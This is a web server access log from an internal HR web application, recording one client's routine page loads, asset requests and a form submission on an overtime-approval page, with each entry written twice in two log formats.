192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:31:17 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:31:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1146159 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1146159
192.168.11.104 - - [06/Sep/2025:11:31:30 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:30 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:31:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:31:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
